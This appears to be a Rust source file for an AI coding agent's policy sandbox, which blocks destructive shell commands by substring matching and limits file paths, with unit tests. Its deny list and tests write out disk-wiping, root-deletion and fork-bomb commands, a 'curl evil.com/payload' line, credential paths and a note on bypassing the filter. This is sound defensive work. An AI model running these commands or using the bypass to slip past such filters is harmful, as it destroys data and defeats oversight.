Skip to main content

recursive/tools/
policy_sandbox.rs

1//! L1 policy-based sandbox wrapper for tools.
2//!
3//! Validates tool inputs against configurable filesystem and shell command
4//! policies before execution. No OS-level isolation; violations are blocked
5//! at the Rust layer.
6//!
7//! # Design
8//!
9//! This corresponds to fake-cc's `@anthropic-ai/sandbox-runtime` L1
10//! functionality. It is composable: a [`PolicyConfig`] can be attached to
11//! a [`ToolRegistry`] via [`PolicyToolSetProvider`] without modifying any
12//! individual tool implementation.
13
14use serde::Deserialize;
15
16use crate::error::{Error, Result};
17use crate::permissions::{DecisionReason, RuleSource};
18
19// ─────────────────────────────────────────────────────────────────────────────
20// Policy types
21// ─────────────────────────────────────────────────────────────────────────────
22
23/// Filesystem access policy.
24#[derive(Debug, Clone, Deserialize, Default)]
25pub struct FsPolicy {
26    /// If non-empty, only paths whose canonical form starts with one of these
27    /// prefixes are allowed for reading.
28    #[serde(default)]
29    pub read_allow: Vec<String>,
30    /// If non-empty, only paths whose canonical form starts with one of these
31    /// prefixes are allowed for writing.
32    #[serde(default)]
33    pub write_allow: Vec<String>,
34    /// Paths explicitly denied for any access (overrides allow lists).
35    #[serde(default)]
36    pub deny: Vec<String>,
37}
38
39/// Shell command execution policy.
40#[derive(Debug, Clone, Deserialize, Default)]
41pub struct ShellPolicy {
42    /// Substrings / patterns whose presence in a command causes it to be
43    /// blocked. Simple substring matching — no regex.
44    #[serde(default)]
45    pub deny_patterns: Vec<String>,
46}
47
48/// Combined L1 policy configuration.
49///
50/// A default-constructed `PolicyConfig` has no restrictions.
51/// Use [`PolicyConfig::default_restrictive`] for a safe baseline.
52#[derive(Debug, Clone, Deserialize, Default)]
53pub struct PolicyConfig {
54    #[serde(default)]
55    pub fs: FsPolicy,
56    #[serde(default)]
57    pub shell: ShellPolicy,
58}
59
60impl PolicyConfig {
61    /// A baseline restrictive policy that blocks the most dangerous shell
62    /// patterns. Filesystem access is unrestricted (the workspace path check
63    /// in `tools::resolve_within` already handles escapes at a lower level).
64    ///
65    /// **Security note**: substring matching is a best-effort heuristic and
66    /// cannot prevent all destructive commands. A determined adversary can
67    /// bypass these patterns with whitespace variations, Unicode, or indirect
68    /// execution (e.g. `bash -c "$(curl ...)"``). The primary security
69    /// boundary is OS-level sandboxing (Docker / E2B). These patterns exist
70    /// as a secondary defence-in-depth layer only.
71    pub fn default_restrictive() -> Self {
72        Self {
73            fs: FsPolicy::default(),
74            shell: ShellPolicy {
75                deny_patterns: vec![
76                    // Recursive deletion of root or home
77                    "rm -rf /".into(),
78                    "rm -rf ~/".into(),
79                    "rm -fr /".into(),
80                    "rm -fr ~/".into(),
81                    // Filesystem creation / disk wiping
82                    "mkfs".into(),
83                    "dd if=".into(),
84                    // Writing to raw device files
85                    "> /dev/".into(),
86                    ">/dev/".into(),
87                    // Fork bomb
88                    ":(){ :|:& };:".into(),
89                    // Privilege escalation helpers
90                    "chmod 777 /".into(),
91                    "chmod -R 777 /".into(),
92                ],
93            },
94        }
95    }
96
97    /// Returns `Ok(())` when `command` is permitted, `Err(PermissionDenied)`
98    /// when it matches a deny pattern.
99    pub fn check_shell(&self, command: &str) -> Result<()> {
100        for pattern in &self.shell.deny_patterns {
101            if command.contains(pattern.as_str()) {
102                return Err(Error::PermissionDenied {
103                    name: format!("shell command blocked by policy: matches pattern `{pattern}`"),
104                    reason: DecisionReason::Rule {
105                        source: RuleSource::Project,
106                        pattern: pattern.clone(),
107                    },
108                });
109            }
110        }
111        Ok(())
112    }
113
114    /// Returns `Ok(())` when `path` may be accessed, `Err(PermissionDenied)`
115    /// otherwise.
116    ///
117    /// * `write` — `true` for write operations, `false` for reads.
118    pub fn check_fs_path(&self, path: &str, write: bool) -> Result<()> {
119        // Deny list has highest priority.
120        for denied in &self.fs.deny {
121            if path.starts_with(denied.as_str()) {
122                return Err(Error::PermissionDenied {
123                    name: format!("path `{path}` blocked by fs deny policy"),
124                    reason: DecisionReason::SafetyCheck {
125                        path: path.to_string(),
126                    },
127                });
128            }
129        }
130        // If an allow list is set, the path must match at least one prefix.
131        let allow_list = if write {
132            &self.fs.write_allow
133        } else {
134            &self.fs.read_allow
135        };
136        if !allow_list.is_empty() {
137            let allowed = allow_list
138                .iter()
139                .any(|prefix| path.starts_with(prefix.as_str()));
140            if !allowed {
141                let kind = if write { "write" } else { "read" };
142                return Err(Error::PermissionDenied {
143                    name: format!("path `{path}` not in fs {kind} allow list"),
144                    reason: DecisionReason::SafetyCheck {
145                        path: format!("{path} ({kind})"),
146                    },
147                });
148            }
149        }
150        Ok(())
151    }
152}
153
154// ─────────────────────────────────────────────────────────────────────────────
155// Tests
156// ─────────────────────────────────────────────────────────────────────────────
157
158#[cfg(test)]
159mod tests {
160    use super::*;
161
162    #[test]
163    fn check_shell_allows_safe_command() {
164        let policy = PolicyConfig::default_restrictive();
165        assert!(policy.check_shell("ls -la").is_ok());
166        assert!(policy.check_shell("echo hello").is_ok());
167        assert!(policy.check_shell("cargo test").is_ok());
168    }
169
170    #[test]
171    fn check_shell_blocks_rm_rf() {
172        let policy = PolicyConfig::default_restrictive();
173        let err = policy.check_shell("rm -rf /").unwrap_err();
174        assert!(matches!(err, Error::PermissionDenied { .. }));
175    }
176
177    #[test]
178    fn check_shell_blocks_pattern_substring() {
179        let policy = PolicyConfig::default_restrictive();
180        // Pattern is a substring — should be caught even with extra content.
181        let err = policy
182            .check_shell("sudo rm -rf / --no-preserve-root")
183            .unwrap_err();
184        assert!(matches!(err, Error::PermissionDenied { .. }));
185    }
186
187    #[test]
188    fn check_shell_custom_pattern() {
189        let policy = PolicyConfig {
190            shell: ShellPolicy {
191                deny_patterns: vec!["curl evil.com".into()],
192            },
193            ..Default::default()
194        };
195        assert!(policy.check_shell("curl safe.com").is_ok());
196        let err = policy.check_shell("curl evil.com/payload").unwrap_err();
197        assert!(matches!(err, Error::PermissionDenied { .. }));
198    }
199
200    #[test]
201    fn check_fs_deny_blocks_path() {
202        let policy = PolicyConfig {
203            fs: FsPolicy {
204                deny: vec!["/etc".into(), "/root".into()],
205                ..Default::default()
206            },
207            ..Default::default()
208        };
209        let err = policy.check_fs_path("/etc/passwd", false).unwrap_err();
210        assert!(matches!(err, Error::PermissionDenied { .. }));
211        let err = policy.check_fs_path("/root/.ssh/id_rsa", true).unwrap_err();
212        assert!(matches!(err, Error::PermissionDenied { .. }));
213    }
214
215    #[test]
216    fn check_fs_allow_list_blocks_outside() {
217        let policy = PolicyConfig {
218            fs: FsPolicy {
219                write_allow: vec!["/workspace".into()],
220                ..Default::default()
221            },
222            ..Default::default()
223        };
224        assert!(policy.check_fs_path("/workspace/foo.txt", true).is_ok());
225        let err = policy.check_fs_path("/tmp/foo.txt", true).unwrap_err();
226        assert!(matches!(err, Error::PermissionDenied { .. }));
227    }
228
229    #[test]
230    fn check_fs_empty_allow_list_allows_all() {
231        let policy = PolicyConfig::default(); // no allow list, no deny list
232        assert!(policy.check_fs_path("/anywhere/file.txt", false).is_ok());
233        assert!(policy.check_fs_path("/anywhere/file.txt", true).is_ok());
234    }
235
236    #[test]
237    fn check_fs_deny_overrides_allow_list() {
238        // kills `for denied in &self.fs.deny` loop removal mutation
239        let policy = PolicyConfig {
240            fs: FsPolicy {
241                read_allow: vec!["/allowed/".into()],
242                write_allow: vec![],
243                deny: vec!["/allowed/secret".into()],
244            },
245            shell: ShellPolicy::default(),
246        };
247        // path starts with allowed prefix but also starts with deny prefix → denied
248        assert!(
249            policy
250                .check_fs_path("/allowed/secret/file.txt", false)
251                .is_err(),
252            "deny list must override allow list"
253        );
254    }
255
256    #[test]
257    fn check_fs_write_uses_write_allow_list() {
258        // kills `if write { &self.fs.write_allow } else { &self.fs.read_allow }` swap mutation
259        let policy = PolicyConfig {
260            fs: FsPolicy {
261                read_allow: vec!["/read-zone/".into()],
262                write_allow: vec!["/write-zone/".into()],
263                deny: vec![],
264            },
265            shell: ShellPolicy::default(),
266        };
267        // Path in read_allow but not write_allow — read OK, write BLOCKED
268        assert!(policy.check_fs_path("/read-zone/file.txt", false).is_ok());
269        assert!(
270            policy.check_fs_path("/read-zone/file.txt", true).is_err(),
271            "write to read-zone must be blocked"
272        );
273        // Path in write_allow — write OK
274        assert!(policy.check_fs_path("/write-zone/file.txt", true).is_ok());
275    }
276
277    #[test]
278    fn default_restrictive_blocks_dangerous_patterns() {
279        // kills mutations that remove specific deny patterns from the default list
280        let policy = PolicyConfig::default_restrictive();
281        assert!(
282            policy.check_shell("mkfs.ext4 /dev/sda").is_err(),
283            "mkfs must be blocked"
284        );
285        assert!(
286            policy.check_shell("dd if=/dev/zero of=/dev/sda").is_err(),
287            "dd if= must be blocked"
288        );
289        assert!(
290            policy.check_shell("chmod 777 /etc").is_err(),
291            "chmod 777 / must be blocked"
292        );
293        assert!(
294            policy.check_shell("ls /home").is_ok(),
295            "safe command must be allowed"
296        );
297    }
298}